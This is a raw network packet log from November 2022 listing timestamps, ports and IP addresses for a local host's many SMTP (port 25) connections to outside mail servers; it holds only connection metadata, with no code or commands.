Nov 7, 2022 22:24:55.743077040 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743093014 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743108988 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743144989 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743184090 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743223906 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743576050 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743599892 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743614912 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743629932 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743645906 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743662119 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743676901 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743691921 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743706942 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743721962 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743798971 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743815899 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743829966 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743865013 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743906021 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.790576935 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.803845882 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:55.807728052 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:55.807853937 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.830311060 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:55.835047960 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:55.844993114 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.850851059 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.865828037 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:55.905834913 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.937067032 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.037542105 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.063963890 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.071053982 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.108099937 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.116036892 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.137518883 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.137660980 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.168982029 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.170028925 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.170142889 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.225671053 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.243766069 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.244282007 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.278852940 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.278928041 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.289195061 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:56.289982080 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:56.298017979 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.300371885 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.309859037 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.323961020 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.342103004 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.342350006 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.342482090 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.347878933 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:24:56.348042011 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:56.350831985 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.368632078 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.374574900 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.392743111 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.393493891 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.396754026 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.406258106 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:24:56.415374041 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.424952984 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.429414034 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.437109947 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.452693939 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:56.455754995 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.465519905 CET	25	49856	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:56.467468023 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:56.468458891 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.591723919 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.591857910 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:56.591896057 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.593545914 CET	49807	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:56.622294903 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.623780966 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:56.651002884 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.651046038 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:24:56.651060104 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:24:56.661910057 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.702727079 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:56.814018965 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:56.829914093 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:56.859040976 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:56.874667883 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.402635098 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:57.402947903 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:57.441986084 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.457046032 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:57.457588911 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:57.462054014 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:24:57.471424103 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.472512007 CET	25	49856	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:57.472641945 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:57.474535942 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.474632978 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.499689102 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:57.515358925 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:57.528981924 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.529870987 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:24:57.537137985 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:57.555489063 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555526018 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555542946 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555557966 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555582047 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555603027 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555627108 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555646896 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555664062 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555676937 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.555680037 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.555676937 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.555783033 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.555783033 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.555783033 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584016085 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584074020 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584105968 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584132910 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584162951 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584207058 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584212065 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584235907 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584266901 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584274054 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584274054 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584297895 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584306002 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584306002 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584326982 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584326982 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584353924 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584358931 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584378958 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584388971 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584403992 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584418058 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584433079 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584450006 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584460020 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584477901 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584494114 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584506035 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584521055 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584536076 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584551096 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584566116 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584594965 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584608078 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584609985 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584621906 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.584640980 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.584672928 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.588289022 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:24:57.596076965 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:57.611165047 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611217022 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611248016 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611275911 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611304045 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611332893 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611340046 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611361027 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611385107 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611413956 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611434937 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611434937 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611443043 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611469984 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611469030 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611469030 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611502886 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611507893 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611527920 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611532927 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611550093 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611562014 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611572981 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611593962 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611607075 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611622095 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611632109 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611651897 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611663103 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611680031 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611690998 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611707926 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611723900 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611736059 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611747980 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611764908 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611778975 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611793041 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611804008 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611819983 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611829996 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611845016 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611864090 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611871958 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611886978 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611897945 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611908913 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611927032 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611953974 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.611972094 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611972094 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.611982107 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612001896 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612013102 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612016916 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612040997 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612051010 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612070084 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612085104 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612101078 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612109900 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612128019 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612138033 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612154961 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612173080 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612185001 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612212896 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612240076 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612261057 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612261057 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612262011 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612268925 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.612312078 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.612313032 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639204025 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639261961 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639288902 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639312983 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639333010 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639359951 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639367104 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639384031 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639406919 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639432907 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639445066 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639445066 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639445066 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639445066 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639456034 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639509916 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639518976 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639518976 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639518976 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639518976 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639534950 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639559984 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639570951 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639570951 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639579058 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639611006 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639632940 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639636993 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639655113 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639667034 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639667034 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639678955 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639703989 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639705896 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639705896 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639725924 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639734983 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639750957 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639760971 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639774084 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639780998 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639794111 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639799118 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639818907 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639828920 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639841080 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639854908 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639863968 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639885902 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639894009 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639894009 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639909983 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639921904 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639933109 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639942884 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639955997 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.639972925 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.639980078 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640002012 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640006065 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640026093 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640029907 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640048981 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640053034 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640069008 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640079975 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640096903 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640108109 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640129089 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640135050 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640152931 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640163898 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640173912 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640193939 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640219927 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640237093 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640242100 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640253067 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640265942 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640284061 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640285015 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640310049 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640332937 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640341997 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640341997 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640352011 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640367031 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640377045 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640389919 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640412092 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640435934 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640475988 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640491009 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640491009 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640491009 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640517950 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640548944 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640567064 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640582085 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640592098 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640603065 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640619993 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640620947 CET	49852	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:57.640640020 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640662909 CET	25	49852	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:57.640697002 CET	25	49852	142.250.102.26	192.168.2.5
